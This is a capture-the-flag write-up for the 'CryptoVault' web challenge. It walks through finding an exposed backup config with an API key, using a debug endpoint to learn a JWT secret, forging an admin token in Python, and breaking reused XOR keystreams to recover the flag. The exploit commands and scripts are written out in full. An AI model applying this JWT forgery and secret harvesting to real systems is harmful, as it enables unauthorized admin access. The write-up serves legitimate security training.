Category: Web Exploitation
Flag: apoorvctf{3v3ry_5y573m_h45_4_w34kn355}
Challenge Description
CryptoVault - Secure Message Storage Platform. So can you get the secure message from the military grade security provided by our platform.
Analysis
The app looked like a normal login/register Flask frontend at first, but the homepage immediately leaked deployment breadcrumbs in HTML comments. That gave the whole solve path very quickly.
curl -sL "http://chals1.apoorvctf.xyz:8001/"<!-- Powered by CryptoVault API v1 --><!-- Internal build: 1.0.3-dev --><!-- Debug endpoint available at /api/v1/health for system status -->...<!-- Developer Notes: - API Base: /api/v1/ - Backup config was moved to /backup/ directory - Old JS app bundle still references config paths, clean up later - See /static/js/app.js for frontend API integration-->That was already suspicious, and robots.txt confirmed hidden routes worth testing.
curl -s "http://chals1.apoorvctf.xyz:8001/robots.txt"# CryptoVault Crawler RulesUser-agent: *Disallow: /backup/Disallow: /api/v1/debugDisallow: /api/v1/internal/The frontend JavaScript made it even more direct by hardcoding a backup config path and explicitly hinting that debug auth material is in backup files.
curl -sL "http://chals1.apoorvctf.xyz:8001/static/js/app.js"const API_CONFIG = { apiBase: '/api/v1', backupConfig: '/backup/config.json.bak',};...console.log(' - /debug (requires API key from backup config)');At that point, grabbing the backup file was the intended vulnerability: exposed sensitive configuration in a web-accessible backup path.
curl -sL "http://chals1.apoorvctf.xyz:8001/backup/config.json.bak"{"api_key":"d3v3l0p3r_acc355_k3y_2024","app_name":"CryptoVault","database":"sqlite:///cryptovault.db","debug_mode":true,"internal_endpoints":["/api/v1/debug","/api/v1/health","/api/v1/vault/messages"],"jwt_algorithm":"HS256","notes":"Remember to rotate the API key before production deployment!","version":"1.0.3-internal"}Using that API key against debug leaked the JWT derivation hint and vault internals. This was the second major weakness: debug endpoint left enabled in production with high-value secrets.
curl -sL -H "X-API-Key: d3v3l0p3r_acc355_k3y_2024" "http://chals1.apoorvctf.xyz:8001/api/v1/debug"{"debug_info":{"auth_config":{"algorithm":"HS256","roles":["viewer","editor","admin"],"secret_derivation_hint":"Company name (lowercase) concatenated with founding year","secret_key_hash_sha256":"e53e6e2d3018dce302f876eda97d3852f5f1a81192a5f947ed89da9832ea17b8","token_expiry_hours":2},"company_info":{"domain":"cryptovault.io","founded":2026,"name":"CryptoVault"},"framework":"Flask","python_version":"3.11.x","server":"CryptoVault v1.0.3","vault_info":{"access_level_required":"admin","encryption_method":"XOR stream cipher","endpoint":"/api/v1/vault/messages","total_encrypted_messages":15},"warning":"This debug endpoint should be disabled in production!"}}From this, the secret becomes cryptovault2026 (cryptovault + 2026). Forging an admin JWT worked on the first try, which was very satisfying.

I used that forged token to fetch all encrypted vault messages.
import reimport jwtimport requests
BASE = "http://chals1.apoorvctf.xyz:8001"SECRET = "cryptovault2026"
payload = {"username": "admin", "role": "admin"}token = jwt.encode(payload, SECRET, algorithm="HS256")headers = {"Authorization": f"Bearer {token}"}
resp = requests.get(f"{BASE}/api/v1/vault/messages", headers=headers, timeout=15)print(f"status={resp.status_code}")print(resp.text)
m = re.search(r"[A-Za-z0-9_]+\{[^}]+\}", resp.text)if m: print(f"FLAG_FOUND={m.group(0)}")python exploit_vault.pystatus=200{"access_level":"admin","message":"Military secure vault accessed","messages":[{"ciphertext_hex":"f1a7...","id":1,...},{"ciphertext_hex":"e6a1...","id":2,...}, ... ]}That still only gave ciphertexts. The annoying part was that many decrypted fragments looked like plausible flags but were distractions, and the challenge title/description really leaned into that misdirection.

The final break came from treating it as a multi-time-pad XOR stream reuse problem and recovering per-position key bytes by scoring printable English over all ciphertext columns. Running the recovery script surfaced the sentence containing the real flag and printed an exact regex match.
python recover_flag_exact.py[+] Decrypted messages (best-effort):...13: ... the real flag is apoorvctf{3v3ry_5y573m_h45_4_w34kn355} and all others are distractions ...
FLAG_FOUND=apoorvctf{3v3ry_5y573m_h45_4_w34kn355}So the core vulnerability chain was exposed backup config -> debug data leak -> JWT forgery -> admin vault access, followed by cryptanalysis of reused XOR keystream across multiple ciphertexts.
Solution
import reimport stringimport jwtimport requests
BASE = "http://chals1.apoorvctf.xyz:8001"SECRET = "cryptovault2026"
CHAR_SCORES = { " ": 4.5, "e": 3.5, "t": 3.2, "a": 3.0, "o": 2.9, "i": 2.8, "n": 2.8, "s": 2.6, "r": 2.6, "h": 2.5, "l": 2.3, "d": 2.1, "u": 2.0, "c": 2.0, "m": 1.9, "f": 1.8, "w": 1.8, "g": 1.7, "y": 1.7, "p": 1.6, "b": 1.5, "v": 1.4, "k": 1.2, "x": 0.8, "j": 0.6, "q": 0.5, "z": 0.5,}
ALLOWED = set(string.printable) - set("\t\n\r\x0b\x0c")
def char_score(ch: str) -> float: if ch not in ALLOWED: return -20.0 if ch in CHAR_SCORES: return CHAR_SCORES[ch] cl = ch.lower() if cl in CHAR_SCORES: return CHAR_SCORES[cl] - 0.3 if ch.isdigit(): return 1.0 if ch in "{}_-.,:;!?'/()*": return 0.8 return 0.2
def main(): token = jwt.encode( {"username": "admin", "role": "admin"}, SECRET, algorithm="HS256" ) r = requests.get( f"{BASE}/api/v1/vault/messages", headers={"Authorization": f"Bearer {token}"}, timeout=15, ) r.raise_for_status() cts = [bytes.fromhex(m["ciphertext_hex"]) for m in r.json()["messages"]] maxlen = max(len(c) for c in cts)
key = [0] * maxlen for pos in range(maxlen): column = [c[pos] for c in cts if pos < len(c)] best_k = 0 best_score = -(10**9) for k in range(256): s = 0.0 for cb in column: s += char_score(chr(cb ^ k)) if s > best_score: best_score = s best_k = k key[pos] = best_k
plains = [] for c in cts: p = "".join(chr(c[i] ^ key[i]) for i in range(len(c))) plains.append(p)
print("[+] Decrypted messages (best-effort):") for i, p in enumerate(plains, 1): print(f"{i:02d}: {p}")
blob = "\n".join(plains) m = re.search(r"apoorvctf\{[^}]+\}", blob) if m: print(f"\nFLAG_FOUND={m.group(0)}") else: print("\nNo exact flag regex recovered yet.")
if __name__ == "__main__": main()python recover_flag_exact.pyFLAG_FOUND=apoorvctf{3v3ry_5y573m_h45_4_w34kn355}